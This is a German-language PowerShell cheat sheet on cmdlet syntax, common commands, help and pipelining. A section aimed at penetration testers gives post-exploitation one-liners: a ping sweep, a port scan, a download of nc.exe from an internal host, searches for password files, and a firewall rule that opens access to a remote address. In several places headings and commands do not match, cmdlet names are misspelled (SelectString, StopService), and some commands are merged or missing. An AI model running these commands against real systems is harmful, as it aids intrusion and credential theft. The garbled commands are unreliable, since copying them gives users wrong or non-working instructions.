Der Zweck dieses Spickzettels besteht darin, einige gängige Optionen und Techniken zur Verwendung in Microsofts PowerShell zu beschreiben.
PowerShell-Übersicht
PowerShell-Hintergrund
PowerShell ist der Nachfolger von command.com, cmd.exe und cscript. Ursprünglich als separater Download veröffentlicht, ist es jetzt in alle modernen Versionen von Microsoft Windows integriert. Die PowerShell-Syntax hat die Form von in Cmdlets implementierten Verb-SubstantivMustern.
Starten von PowerShell
Auf PowerShell greifen Sie zu, indem Sie Start drücken -> powershell eingeben und die Eingabetaste drücken. Einige Vorgänge erfordern Administratorrechte und können durch Starten von PowerShell als Sitzung mit erhöhten Rechten ausgeführt werden. Sie können eine erhöhte
PowerShell starten, indem Sie auf Start drücken – > powershell eingeben und Umschalt-STRG und Enter drücken.
Darüber hinaus können PowerShell-Cmdlets von cmd.exe aufgerufen werden, indem Sie Folgendes eingeben: powershell -c “BEFEHL”.
Syntax
Cmdlets sind kleine Skripts, die einer durch
Bindestriche getrennten Verb-Substantiv-Konvention
folgen, z. B. „Get-Process“
Ähnliche Verben mit unterschiedlichen Aktionen:
- New- Erstellt eine neue Ressource
- Set- Ändert eine vorhandene Ressource
- Get- Ruft eine vorhandene Ressource ab
- Read- Ruft Informationen aus einer Quelle ab, z.B aus Dateien
- Find- Wird verwendet, um nach einem Objekt zu suchen
- Search- Wird verwendet, um einen Verweis zu einer Ressource zu erstellen
- Start- (asynchron) eine Operation beginnen, wie das Starten eines Prozesses
- Invoke- (synchron) Ausführen einer Handlung, z. B. Ausführen eines Befehls
Parameter:
Eine Verb-Substantiv kombination kann viele Parameter haben, um die Cmdlet-Funktionalität zu steuern.
Objekte:
Die Ausgabe der meisten Cmdlets sind Objekte, die an andere Cmdlets übergeben und weiter verarbeitet werden können. Dies wird beim Pipelining | von Cmdlets wichtig.
Nützliche Cmdlets (und Aliase)
Holen Sie sich eine Verzeichnisliste (ls, dir, gci):
Get-ChildItem
Kopieren Sie eine Datei (cp, copy, cpi):
Copy-Item src.txt dst.txt
Verschieben einer Datei (mv, move,mi):
Select-String –path c:\users\*.txt –pattern password
ls -r c:\users -file | %{Select-String -path $_ -pattern password}
Suchen Sie Text in einer Datei:
Get-Content file.txt
Dateiinhalt anzeigen (cat, type, gc):
Get-Content file.txt
Aktuelles Verzeichnis abrufen (pwd, gl):
Get-Location
Holen Sie sich eine Prozessliste (ps, gps):
Get-Process
Holen Sie sich eine Serviceliste:
Get-Service
Ausgabe eines Befehls formatieren (Format-List): ‘
ls | Format-List –property name
Ausgabe Schittweise auflisten:
ls –r | Out-Host -paging
Rufen Sie den SHA1-Hash einer Datei ab:
Get-FileHash -Algorithm SHA1 file.txt
Ausgabe in CSV exportieren:
Get-Process | Export-Csv prozesse.csv
PowerShell für Pen-Tester-Post-Exploitation
Führen Sie einen Ping-Netz durch:
1..255 | % {echo "192.168.210.$_";ping -n 1 -w 100 192.168.210.$_ | SelectString ttl}
Führen Sie einen Port Scan durch:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.210.10",$_)) "Port $_ is open!"} 2>$null
Rufen Sie eine Datei über HTTP (wget in PowerShell) ab:
(New-Object System.Net.WebClient).DownloadFile("http://192.168.210.10/nc.exe","nc.exe")
Alle Dateien mit einem bestimmten Namen finden:
Get-ChildItem "C:\Users\" -recurse -include *Passwörter*.txt
Erhalten Sie eine Liste aller installierten Microsoft Hotfixes:
Get-HotFix
Navigieren Sie in der Windows-Registrierung:
cd HKLM:\ ls
Programme auflisten, die automatisch in der Registrierung gestartet werden sollen:
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
Zeichenfolge von ASCII in Base64
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("ITNEXTGEN"))
Listen Sie die Windows-Firewallregeln auf und ändern Sie sie:
Get-NetFirewallRule –all New-NetFirewallRule -Action Allow -DisplayName TESTPROGRAM -RemoteAddress 192.168.210.10
Cmdlets finden
So erhalten Sie eine Liste aller verfügbaren Cmdlets:
Get-Command
unterstützt das Filtern. So filtern Sie Cmdlets nach dem Verbsatz:
Get-Command Set*
Get-Command –Verb Set
Oder auf dem Substantivprozess:
Get-Command *Process
Get-Command –Noun process
Hilfe bekommen
So erhalten Sie Hilfe mit Hilfe:
Get-Help
So lesen Sie die Cmdlet-Selbstdokumentation:
Get-Help < cmdlet >
Ausführliche Hilfe:
Get-Help < cmdlet > -detailed
Anwendungsbeispiele:
Get-Help < cmdlet > -examples
komplette Hilfe:
Get-Help < cmdlet > -full
Online-Hilfe (sofern vorhanden):
Get-Help < cmdlet > -online
Cmdlet-Aliase
Aliase bieten kurze Verweise auf lange Befehle.
So listen Sie verfügbare Aliase auf (alias alias):
So erweitern Sie einen Alias zu einem vollständigen Namen:
Effiziente PowerShell
Tab-Vervollständigung:
get-child < cmdlet >
Get-ChildItem
Parameterkürzung:
ls –recurse
ls -r
Pipelining, Schleifen und Variablen
Weiterleitung der Cmdlet-Ausgabe an ein anderes Cmdlet:
Get-Process | Format-List –property name
ForEach-Objekt in der Pipeline (Alias %):
ls *.txt | ForEach-Object {cat $_}
Where-Object-Bedingung (alias where oder ?):
Get-Process | Where-Object {$_.name –eq "notepad"}
Zahlenbereiche erzeugen und Schleifen:
1..10
1..10 | % {echo "Hallo!"}
Variablen erstellen und auflisten:
$ING = 2022
ls variable:
Beispiele für das Weiterleiten der Cmdlet-Ausgabe in die Pipeline:
dir | group extension | sort
Get-Service dhcp | StopService -PassThru | Set-Service -StartupType Disabled